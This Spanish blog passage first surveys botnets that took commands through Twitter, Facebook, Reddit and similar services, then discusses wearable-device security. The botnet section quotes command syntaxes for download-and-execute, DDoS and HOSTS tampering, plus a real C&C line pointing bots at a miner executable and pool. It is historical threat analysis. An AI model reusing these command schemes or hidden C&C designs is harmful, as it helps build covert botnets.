• aHR0cDovL2JpdC5seS9MT2ZSTyBodHRwOi8vYml0Lmx5L0ltZ2 --> http://bit.ly/Img --> http://www.friedbeef.com/save-time-on-your-spreadsheets-asap-utilities/
• aHR0cDovL2JpdC5seS8xN2w0RmEgaHR0cDovL2JpdC5seS8xN -->http://bit.ly/1 --> http://www.blogger.com/profile/09172993341866649612
• aHR0cDovL2JpdC5seS9wbVN1YyBodHRwOi8vYml0Lmx5LzE3b -->http://bit.ly/17 --> http://www.17tech.com/soft/index.shtml

Entre estas URLs se podian distinguir dos grupos bien diferenciados, los enlaces que apuntaban a descargas de malware (los 8 primeros) y otros enlaces aparentemente no maliciosos (los ultimos 5).

Tiene todo el aspecto de que se trataran de URLs donde descargarse malware que iban cambiando cada poco tiempo. De hecho los tweets se habian producido a un ritmo medio de 2 cada hora.

Finalmente se encontraron con 4 pares de ficheros .EXE/.DLL desconocidos hasta el momento.

Buscando esa misma cuenta, upd473 en otras redes sociales, el investigador también encontró que la botnet tambien se conectaba a otro servicio de microblogging (llamado Jaiku.com y ya desaparecido) para enviar comandos similares:

Incluso encontró una cuenta de Tumblr similar pero abandonada:

Unos dias más tarde, el 26 de Agosto de 209, alguien reportó a twitter la existencia de una cuenta similar llamada botn3tcontrol que, por supuesto fue cerrada a las pocas horas.

TwitterNET Builder

El 19 de Mayo de 2010 bitdefender informaba de la existencia de un Kit de desarrollo de botnets basados en twitter.

El Kit habia sido llamado TwitterNET Builder y no es dificil encontrar varios videos en youtube demostrando su fucnionamiento:

• https://www.youtube.com/watch?x-yt-cl=85114404&v=sI0y_PUhoLk&x-yt-ts=1422579428
• https://www.youtube.com/watch?v=EoATrwF4DdM

Este kit permitiría a cualquier script kiddie crear una botnet controlada mediante twitter. Lo cierto es que los comandos eran muy ingenuos, escritos en texto plano y muy facilmente detectable por cualquiera que hiciera un busqueda en twitter.

En dicho kit, el master podia mandar los siguientes comandos a los bots:

• .VISIT, con parametros separados por '*': .VISIT*URL*1. El comando haría que el equipo infectado visitara una URL. en una ventana visible (1) o invisible (0).
• .SAY, con un único parametro. .SAY*Hola. Este comando envia el texto pasado como parametro al motor de habla Text-To-Speech Engine de microsoft para que suene por los altavoces lo que se indique como parámetro.
• .DOWNLOAD, con dos parámetros, el primero la URL a visitar y el segundo un 0 o un 1: .DOWNLOAD*URL/somefile.exe*0 . La URL le indica al bot de donde descargar un fichero y el segundo parámetro le indica si ejecutarlo o no.
• .DDOS*IP*PORT, lanza un flood attack contra la IP indicada en el puerto indicado.
• .STOP se asegura de que deja de hacer lo que se le mandó en el ultimo comando y vuelve al estado de escucha.
 
• .REMOVEALL desconecta al bot de twitter y lo deja en estado de reposo hasta la siguiente conexion, haciendolo asi menos visible.

En el articulo anterior comentaban que consideraban este kit como creado por un “wanabee”, ya que no habia puesto ningun esfuerzo en ocultar la naturaleza de los tweets.

Llama la atención que, en este caso, la cuenta de twitter no tenía ningún seguidor, ni seguia a nadie, haciendolo de esta manera “independiente”, del resto de la red de twitter, pero invisible ya que esos tweets siempre se pueden buscar.

La botnet Mehika

El 15 de Septiembre de 2010 aparecía la noticia de otra “twitter botnet” en mexico.

Esta botnet resultó ser una evolución de TwitterNet Builder escrita por un hacker mexicano. Bastante ingenuo tambien:

Trendmicro explicó en detalle el funcionamiento de la botnet en este paper.

Leyéndolo sabemos, entre otras muchas cosas, que fue escrito en PHP y que se dirigia al publico en general de habla hispana. También cuáles eran los comandos que utilizaba:

• ADDHOST: añade una nueva entrada al fichero HOSTS del equipo infectado usando la sintaxis: “ADDHOST [IP address] [domain].” Al recibir el comando, el equipo zombie añade dos lineas al fichero HOSTS del PC víctima. La primera línea es la IP y el dominio, la segunda la linea es la misma IP pero con el subdominio “www”.
• NEWHOST: Similar al comando ADDHOST, sin embargo antes de añadir una nueva entrada al fichero HOSTS, lo borra por completo. Crea un nuevo fichero HOSTS (en español).
• RESTARHOST: Este comando elimina el contenido del fichero HOSTS y lo reemplaza con un fichero HOSTS legítimo.
• VISITED: Fuerza al usuario a visitar un página web en concreto. Este comando, sin embargo, solo soporta los protocolos HTTP y HTTPS. El comando tiene el formato: “VISITED [URL a visitar]” ...y cambia las cadenas “http” y “https” de la URL por “tttp” y “tttps”, respectivamente. Este tipo de comandos son utiles cuando se abren páginas maliciosas, pero no al descargar ficheros, ya que en este caso se requiere intervencion del usuario.
• MSN: Envía un mensaje con una URL a los contactos de MSN de la víctima, cuando el usuario comprometido ejecute la aplicación de mensajería instantanea en el equipo infectado. Cuando el usuario de un equipo infectado envie un mensaje instantaneo, toda la gente con la que tenga una conversacion activa recibirá un mensaje de spam. Y cada vez que el usuario envia 10 mensajes legitimos, el bot reenvia el mismo mensaje de Spam.
• DOWNLOAD: Descarga y ejecuta un fichero en concreto de una URL remota. Como ocurria antes, el malware cambiará “http” y “https” por “tttp” y “tttps,” respectivamente.
• HOMEPAGE: Cambia la página de inicio del navegador del equipo víctima. Esto sólo funciona en las versiones en español e inglés de Internet Explorer y Firefox.
• SENDMAIL: Le indica al equipo zombie que envíe un correo electrónico al botmaster para reportar información que le permitirá saber el tamaño de la botnet.

Pruebas de concepto

El 12 de Agosto de 2010 Yeahcricket, programaba "en un rato" un troyano que se controlaba por Twitter:

• http://yeahcricket.blogspot.com.es/search/label/botnet%20troyano%20twitter.com%20tweets%20controlar%20pc
• https://www.youtube.com/watch?v=1gsigGLmpOc
• https://www.youtube.com/watch?v=AsJ_EzdbpWo

En este caso algunos comandos son:

• decir: XXXXX< --> Muestra un cuadro de dialogo con lo que queremos que le aparezca a la victima en pantalla.
• visitar: URL --> Hace que se abra el navegador de la victima y se visite la página que le hemos indicado.
• mostrar imagen: URL --> Muestra una imagen en la pantalla de la victima.

En https://www.youtube.com/watch?v=JBreWkcbQnk muestran otra prueba de concepto, con comandos como GOTO, STOP, TWIT...

Se tratan de pruebas de concepto, pero permiten darse cuenta de lo simple que es realizar una botnet controlada por twitter.

Bitcoin Twitter botnet

El 2 de Agosto de 2011, F-Secure destapaba la existencia de una botnet controlada por twitter que permitia a los botmaster minar bitcoins con los equipos infectados.

La cuenta de twitter que utilizaba aparente aun sigue abierta, pero no ha sido actualizada desde Julio de 2011:

• https://twitter.com/sekurityws

La botnet descargaba un software de minado de bitcoins, desde una cuenta de dropbox, que era instalada en el equipo y se quedaba a la espera de los comandos del botmaster desde Twitter.

Los comandos utilizados en este caso, aunque en texto claro, no dejan del todo clara su estructura:

BM|50|http://fatjakey.co.uk/biz/bc_miner/bitcoin-miner.exe|http://mineco.in:3000/|benjie4444.explorer|svchost

Podriamos aventurar que BM indica que el equipo victima mine 50 bitcoins (BM|50) con la aplicacion indicada en la URL y el resultado se suba a http://mineco.in:3000 con el usuario benjie4444.explorer y la contraseña svchost. Aunque son todo meras conjeturas.

Otros comandos que podemos encontrar en dicha cuenta son:

• VV|http://0525e463.qqc.co 
• VI|http://0525e463.qqc.co 

Aunque no podemos aventurar su significado exacto, probablemente indiquen a los nodos zombies la descarga de nuevo malware, o de nuevas funcionalidades del malware. La URLs a las que apunta hace mucho que ya no existen.

En esta URL se explicaba un poco más en detalle su funcionamiento y comandos:

Start Bitcoin Mining:
         START [PERCENTAGE OF CPU TO USE] [POOL URL] [WORKER USERNAME] [WORKER PASSWORD]

Stop Bitcoin Mining:
         STOP

Kill (Uninstall):
         KILL

No parece ser exactamente el mismo malware pero definitivamente es una evolución del mismo, ya que el creador (sekurity.ws) es el mismo. De hecho esta podria ser una version anterior.

Flashback botnet

El 5 de Marzo de 2012 se conocía de la existencia de un malware para Mac que utilizaba Twitter como su canal C&C.

En este caso, en vez de usar una única cuenta, que puede ser eliminada, hacía que los equipos infectados buscaran en twitter unos determinados hashtags. Estos hashtags eran caracteres aparentemente aleatorios que cambiaban a diario. Dichos hashtags constaban de 12 caracteres, que tenian un significado. Los cuatro primeros caracteres identificaban el día, los siguientes 4 caracteres identificaban el mes y los 4 últimos identificaban el año. Estos caracteres se escogian a partir de la tabla:

0 gbqj 18 kudd
1 dljt 19 nwal
2 yfad 20 hmca
3 kpsh 21 dqyo
4 igaw 22 kkag
5 pepb 23 viqt
6 ezcn 24 wpld
7 hwpd 25 nsiy
8 drir 26 myvo
9 rnwp 27 rgel
10 updw 28 zlxl
11 jsng 29 djno
12 xeoa 30 beti
13 rgdg 31 ewof
14 aofl 32 mqan
15 oeur 33 xsco
16 dspu 34 jfiq
17 jyuv

Así, al buscar el hashtag #pepbyfadxeoa, estaban buscando comandos para el 5 de Marzo de 2012. El de hoy, 4 de Febrero de 2015 seria el hashtag #igawdljtoeur. Al buscarlo en twitter no ha salido nada.

De esta manera el bot, cada cierto tiempo hacía la peticion GET correspondiente al dia en curso, por ejemplo GET http://mobile.twitter.com/searches/q=%23pepbyfadxeoa y si habia algun tweet, ejecutaba el comando que lo acompañaba.

La ventaja de este método de control es que se puede controlar desde cuaquier cuenta nueva o comprometida. El inconveniente es que, una vez que se hagan públicos los códigos de los hashtag, la botnet esta muerta.

Tras una minuciosa investigación, se ha sabido que la idea de este malware era utilizar twitter unicamente en caso de que se perdiera contacto con la totalidad de servidores C&C que utilizaba la botnet. Cabe mencionar que nunca se encontró ningun mensaje con hashtag válido por lo que cabe pensar que los atacantes podrian o no haber lo usado nunca o haber borrado sus tweets tras asegurarse que los bots los hubieran leido.

Twitter botnet masiva

El pasado 10 de Marzo de 2014, un ingeniero de sistemas destapaba por casualidad una botnet basada en twitter. En este caso, la botnet tendria al menos 35000 nodos, pero los comandos, en este caso simularían ser SPAM, con textos como los siguientes:

• I dont know much about Haarp but Edward Snowden is the one thats revealing it to the world and to the newspapers so will become the”
• “Oh, its the weekly kill Edward Snowden shout out from and !”
• "Son? Ure hungry Ma : Ok my sonmofe: Yh lol : Its all black : Wasup with it? : mofe dis ur new avi”
• "I wonder if Edward Snowden is a dignitary"

En total se encontraron mas de 35 mensajes de este tipo. Esto nos recuerda al proyecto spamimic en el que se pueden esconder comandos en textos que parezcan ser SPAM. Los atacantes podrian haber preparado un motor similar al de spamimic con un conjunto de keywords y URLs limitados para no sobre pasar los 140 caracteres de un tweet.

Y es que habría muchas formas de esconder mensajes dentro de tweets para mandar comandos a una botnet. En el paper Social networking for Botnet Command and Control proponen una bot con hasta 300 keywords que son diferentes para cada dia del mes. De esta manera los mensajes de twitter tendrian una primera palabra correspondiente al dia del mes del estilo:

• facebook
• hotels
• walmart
• ...

... y una segunda palabra con el comando en sí:

• browse
• shutdown
• dos
• ...

Esta es una idea, pero las formas de esconderse son infinitas.

Facebook (Whitewell)

El 31 de Octubre de 2009 Symantec publicó la existencia de un malware/botnet que utilizaba Facebook como canal de control.

El botmaster debia logarse a su cuenta y añadir una entrada con un título en concreto. En la siguiente imagen el comando era el titulo: "Wells":

Los bots de esta botnet podían recibir al menos los siguientes comandos:

• Wells: Hace que el equipo infectado añada un mensaje con la fecha y la hora a la conversacion y espere.
• WebServer: Tiene como parametro una URL (codificada en base64) a la que la victima se conectara y desde la que el bot puede recibir comandos.
• White: Tiene como parametro la URL (codificada en base64) de un ejecutable que sera descargado y ejecutado.

La opcion webserver redirige al bot a una URL en que se encontrará un simple web server en la que la página de descarga incluya un comnetario con un comando. Por ejemplo el comando "", que es un comentario HTML que significa HELLO en BASE64 y le indica que al bot que "bienvenido a la botnet". Posteriormente el bot podra recibir los siguientes comandos, todos ellos codificados en BASE64:

• Pslist --> Envía de vuelta la lista de procesos en ejecución
• Pskill --> Mata un proceso
• Localpath --> Devuelve la ruta local del ejecutable malicioso
• http:// --> Descarga un fichero.
• exit --> Desactiva el troyano.

Para más información ver este enlace.

iWorm botnet

Se hizo publica el pasado 2 de octubre. y se sabe que infecto hasta a 18500 equipos.

En el caso de iworm, el malware seguia usando servidores C&C de la manera tradicional, pero la forma de publicitarlos era publicar sus IPs en un entrada de reddit del tema "minecraftserverlists" con el nombre de usuario "vtnhiaovyd":

El bot leía el listado de IPs cada 5 minutos y escogía una de las 29 IPs al azar para conectarse a ella.

Miniduke

El 20 de Mayo de 2014 se informaba de que Miniduke tambien tenia un module que consultaba Twitter para obtener servidores C&C reales a los que conectarse.

El funcionamiento de Miniduke era bastante más complejo que los anteriores. Inicialmente buscaba en la cuenta @FloydLSchwartz tweets con el tag X))) y si los encontraba leia las IPs que se incluian a continuación y los utilizaba como servidores C&C.

En caso de no encontrar ninguna IP válida usando este método, cambiaba la cuenta de twitter en la que buscaba las IPs de los servidores C&C. Esta nueva cuenta cambiaba cada semana siguiendo un algoritmo basado en la fecha. Las siguientes son las cuentas que se usaron en 2013 y 2014:

AA2ADcAOAA
AA2ADQAN
AA2ADYA
AA4ADAAN
AA4ADIAM
AA4ADQAMg
AA5ADkANA
AAtADEAMA
AAtADEAOAA
AAtADIA
AAxAC0AM
AAxADgAMgA
AAxADIA
AAxADQA
AAxADQAM
AAyADAAMAA
AAyADkANw
AAzADYANwA
gA0ADAANAA
gA0ADIA
gA0ADQAN
gA0ADYAMw
gA1AC0A
gA1ADYAMg
gA3ADgAO
gAtADEAMw
gAwADMA
gAwADUANQ
gAxADcA
gAxADEAO
gAxADIAM
gAxADMAMwA
gAyADMANA
gAzADgANgA
QA0ADMA
QA1ADcA
QA1ADgAM
QA1ADQAMgA
QA1ADUAOA
QA2ADAAMQ
QA2ADEAMg
QA2ADkA
QA2ADkAMAA
QA3ADkAMgA
QA3ADkAN
QA3ADQAMQA
QA3ADUAMg
QA3ADYANw
QA4AC0A
QA4AC0AMQA
QA4ADcA
QA4ADYANw
QA5ADIANAA
QA5ADMA
QA5ADQA
QAtADEAN
QAtADEANwA
QAtADgAMAA
QAtADgAMw
QAtADIAMA
QAwADQA
QAxADEA
QAxADEAMQA
QAxADEAN
QAxADgAOAA
QAxADkA
QAxADMAMwA
QAxADQA
QAxADQANAA
QAxADUAN
QAyADAAN
QAyADAANA
QAyADEAM
QAyADgAM
QAyADMAMQA
QAzADAAN
QAzADcAOA
QAzADgA
QAzADgAM
QAzADgAOAA
QAzADIANw
wA1ADcAN
wA1ADMAO
wA2AC0ANw
wA2ADcAOA
wA2ADgAOAA
wA4ADEAOQ
wAtADEAMAA
wAtADQAOA
wAwADQAM
wAxADEA
wAxADMA
wAyADQA
wAzADQAM
wAzADQAO
wAzADUA

La unica característica en comun es que el segundo era siempre una "A" mayusucula.

Una vez que el bot se conectaba a esa cuenta, miniduke buscaba URLs terminadas en XHtml, URLs que renombraba terminando su direccion con ".PHP".

El caso explicado en este enlace es similar. En este caso se consultaba cual habia sido el Trending Topic del día y a partir de éste se generaba un nombre de dominio, que sería el C&C de dos días después.

Otros casos

Por ultimo comentar que tambien se han encontrado casos de botnets se conectaban a una cuenta de Evernote o bien a una cuenta de Google Docs.

También recomiendo leer este post donde se habla de malware que utiliza otro metodos para obtener información de sus servidores C&C.

En este otro enlace explican el caso de un malware que usaba Google Groups como servidor C&C.

La seguridad en los dispositivos wearables

Este articulo es la transcripción al blog de un powerpoint que cree para hacerme a la idea de los desafio desde el punto de vista de seguridad que representan los wearables a dia de hoy (Diciembre 2014). Al final de la entrada adjunto dicho PPT [18].

Por si alguien no sabe lo que son, los wearables se pueden definir como “el conjunto de aparatos y dispositivos electrónicos que se incorporan en alguna parte de nuestro cuerpo interactuando continuamente con el usuario y con otros dispositivos con la finalidad de realizar alguna función específica” [1]. Los wearable se basan en el paradigma de wearable computing [2], dicho paradigma ha evolucionado en torno a tres factores:

• La minimización del tamaño de los ordenadores
• El incremento de su potencia computacional
• La cada vez mayor movilidad de las personas y su conectividad global
• La cada vez mayor personalizacion de los dispositivos

Con esta definición podemos encontrar en el mercado los siguientes tipos de wearables:

• Relojes para hacer fitness:
  
• Relojes inteligentes:
  
• Gafas inteligentes:
  
• Gadgets de todo tipo:
  
• Smart clothing:
  
• Wearables para la salud:
  

Casos concretos

Apple iWatch

A la venta en 2015. Se conoce muy poco del dispositivo, pero presumiblemente vendrá con iOS 8.1.1, versión de iOS ya Jailbreakeada. Y con vulnerabilidades aún por arreglar [17].

Android Wear

Usado por los relojes LG G y Samsung Gear Live (Ya rooteados) [10].

Una característica importante que tiene es que no hay WebViews en Android Wear y esto significa que nos libramos de problemas como los Cross Site Scripting (XSS) o Cross Site Request Forgery (CSRF). La navegación se realiza a través del telefono Android, lo que quiere decir que los dispositivos wearables android se basan fuertemente en la comunicación con el teléfono Android. Un ataque MITM supondría el control total del dispositivo wearable.

Samsung Gear 2

Samsung Galaxy Gear 2 está diseñado para emitir un ruido fuerte cuando se está haciendo una foto. Tras el rooting y utilizando ODIN, herramienta de software de Samsung, es posible habilitar Galaxy Gear 2 para hacer fotos con la cámara integrada pero en silencio. Esto abre la puerta a escenarios para violar la privacidad de otras personas”.

Algunas aplicaciones de Galaxy Gear 2 se cargan en el dispositivo con la ayuda de Gear Manager, una aplicación especial de Samsung diseñada para transmitir una app desde el smartphone al smartwatch. Cuando la aplicación se instala en el sistema operativo del reloj no se muestra ninguna notificación en la pantalla del reloj. Esto hace que los ataques dirigidos que implican la instalación de aplicaciones en silencio sea posible”.

Google Glass

Las Google Glass tienen dos formas distintas de conectarse a internet: O bien uniendo el dispositivo vía Bluetooth con el dispositivo móvil con el que comparte su conexión, o directamente uniendose a una red por wifi.

La primera opción puede llevar a ataques de bluejacking, bluesnarfing, etc. La segunda opción no requiere de otro dispositivo móvil para navegar, pero puede provocar ataques MITM.

De hecho es sabido que no todo el tráfico que se intercambia entre el dispositivo y el hotspot esta cifrado. En particular, es posible saber que sitios web esta visitando el usuario de las gafas y llevar a cabo una tarea de perfiles, una forma sencilla de vigilancia [11]. Otra vulnerabilidad conocida es la de la navegación automática de códigos QR [16].

Las características comunes de todos ellos son pocas o ninguna, cada fabricante fabrica sus productos con características y funcionalidades completamente dispares. En la actualidad no existen estandares asentados en el mercado que permitan unificar tanto las comunicaciones como la programación de estos dispositivos [3] [7]. Únicamente los fabricante que tienen distintos wearables, permiten cierta interconexión entre los mismos.

Como decía no existe una API común para el desarrollo de Apps para dispositivos wearables (con la honrosa excepción de Android Wear [8]). Además las apps y los propios dispositivos wearables han tenido un bajo nivel de testaje (desde el punto de de vista de la seguridad).

Históricamente las características comunes de los wearables han sido:

• Bajo consumo (necesidad de baterías pequeñas)
• Interfaces de usuario simples
• Bajo nivel de comunicación
• Bajo nivel de seguridad
• Poco peso requerido

Desde el punto de vista de seguridad se pueden mencionar los siguientes retos que es necesario afrontar:

• Autenticación
• Cifrado de contenidos
• Securización de sus comunicaciones
• Ataques remotos

Autenticación

Los dispositivos wearables requieren interfaces de usuario cada vez más complejas. Ya no basta un botón y una interfaz de usuario monocroma que muestre el modo del menu en el que se encuentra. Cada vez viene siendo más importante que el uso sea gráfico con gestos como los que usamos en tabletas y móviles. Y esto requiere una mayor complejidad tanto hardware como software, con un sistema operativo debajo y apps que se puedan descargar para satisfacer las necesidad del usuario final. Por supuesto, a nivel de hardware esto supone mayor necesidad de potencia computacional y una mayor necesidad de baterías potentes pero a la vez pequeñas. Un verdadero reto a todos los niveles: software y hardware.

Desde el punto de vista de autenticación, al almacenar información privada en los dispositivos, es necesaria, al igual que ocurre en los móviles algún tipo de autenticación para que, en caso de extravío el dispositivo wearable no pueda ser utilizado ni la información almacenada en el mismo accedida. Es por ello que cada vez es más común que estos dispositivos disponga de un formulario donde introducir una contraseña con la que poder acceder a todas las funcionalidades del wearable. El proceso de autenticación y el almacenamiento de esta contraseña requiere de la utilización de funciones de hashing (MD5, SHA1...) que son computacionalmente muy intensivas, al tiempo que la experiencia de usuario requiere que el tiempo de autenticación sea corto. Esto hace que cada vez sean necesarias mejores circuitería para satisfacer las necesidades de seguridad de estos dispositivos.

Cifrado de los contenidos

Otro de los frentes abiertos en el área de la seguridad de los wearables es la protección de los "contenidos" que almacenan. En mayor o menor medida todos los wearables tiene cierta capacidad de almacenar datos que podría ser muy utiles a atacantes maliciosos. Se hace necesario que estos contenidos esten cifrados para casos como la pérdida o sustracción del dispositivo.

Sin embargo el cifrado de contenidos es un arma de doble filo. Por un lado porque reduce el rendimiento computacional del dispositivo, requiere mayor capacidad de baterías y requiere mejores procesadores. Se podría usar un cifrado más ligero, una especia de cifrado CESAR de transposición, pero esto, por supuesto supondrá un menor nivel de seguridad [5]. Es necesario llegar a un equilibrio para conseguir un buen nivel de cifrado a un coste computacional, de rendimiento y de experiencia de usuario mejores.

Seguridad en comunicaciones

Otro de los aspectos claves en los que incidir es la securización de las comunicaciones entre dispositivos y entre los dispositivos y sus "bases", entendiendo éstos los equipos que les permiten actualizarse y/o comunicarse con internet (móviles, portátiles, routers, etc).

Estas comunicaciones requieren autenticación y cifrado (lo que implica un incremento del grado de computación). En caso de que se utilizaran métodos de cifrado/securización “non-consuming” éstos serían poco seguros (Por ejemplo la utilización de tecnologías como Bluetooth o Zigbee supone una deficiente implementación de la seguridad por carecer estos protocolos de características adecuadas de cifrado). Las tecnologías actualmente más utilizadas (Wifi con WPA2, UMTS, etc) provocan un mayor consumo energético.

Ataques contra wearables

Actualmente no hay evidencias que hagan pensar que los wearables están en el punto de mira de los ciberdelincuentes, es probable que en el futuro se conviertan en objetivo si llegan a ser son adoptadas ampliamente por los consumidores. [12]

No hay que olvidar que los wearables no son mas que otra "thing" más del Internet Of Things (IoT). Actualmente ya se esta hablando de botnets de things (thingbots) [13][14][15], por lo que es asumible pensar que en el futuro un wearable pudiera formar parte de una botnet.

Además hay que tener en cuenta el caracter personal de los wearables. Estos dispositivos pueden ser una fuente de problemas de privacidad en caso de que un atacante remoto pudiera conseguir acceder a ellos.

Publicaciones existentes en cuanto a seguridad en wearables

A.- Wearable Computers, 2002 (ISWC 2002). Blasko, G. and Feiner S. Security challenges for wearable computing. A case study. (IFAWC 2007). Lindström J. (https://pure.ltu.se/portal/files/2508129/security_challenges_for_wearable_computing.pdf)

B.- Secure wearable and implantable body sensor networks in hazardous environments (DCNET 2010). Wearable Computing. Challenges and opportunities for privacy protection. Office of the privacy commisioner of Canada. (https://www.priv.gc.ca/information/research-recherche/2014/wc_201401_e.pdf)

Ventajas e inconvenientes de la investigación en este campo

Ventajas

• Poco investigado
• Mucho interés potencial por parte de la sociedad (Previsión de 171 millones de wearables en 2016) [6]

Inconvenientes

• Económico: Puede requerir la adquisición de dispositivos
• Mercado: Muchos fabricantes, poca estandarización
• Investigación privada (fabricantes)

---

[1] - http://www.quees.info/que-es-wearable.html
[2] - Security challenges for wearable computing. A case of study.
[3] - Open Wearable Computing Group
[4] - Wearable Computing Challenges (2011)
[5] - Secure wearable and implantable body sensor networks in hazardous environments, Hamdi, M. ; Boudriga, N. ; Abie, Habtamu ; Denko, Mieso; Communications Networks and Security Research Lab., Ariana, Tunisia
[6] - 3 World Market for Wearable Technology – A Quantitative Market Assessment – 2012, IMS Research, August 2012
[7] - http://www.ce.org/i3/Features/2014/January-February/Getting-Wearables-Right.aspx
[8] - https://developer.android.com/wear/index.html
[9] - http://blog.nvisium.com/2014/07/getting-started-with-android-wear.html
[10] http://www.eteknix.com/galaxy-gear-gets-custom-rom-third-party-app-web-browsing-support/ , http://www.androidcentral.com/hacking-android-wear
[11]- http://www.baquia.com/tecnologia-y-negocios/entry/emprendedores/kaspersky-lab-advierte-de-los-riesgos-de-seguridad-de-los-dispositivos-wearables
[12] - http://cso.computerworld.es/seguridad-movil/wearables-una-amenaza-para-la-privacidad
[13] - http://whatis.techtarget.com/definition/IoT-botnet-Internet-of-Things-botnet
[14] - http://www.proofpoint.com/about-us/press-releases/01162014.php
[15] - http://securityaffairs.co/wordpress/28642/cyber-crime/spike-botnet-runs-ddos.html
[16] - http://usa.kaspersky.com/internet-security-center/internet-safety/google-glass-security
[17] - http://www.zdziarski.com/blog
[18] - Powerpoint Wearable Security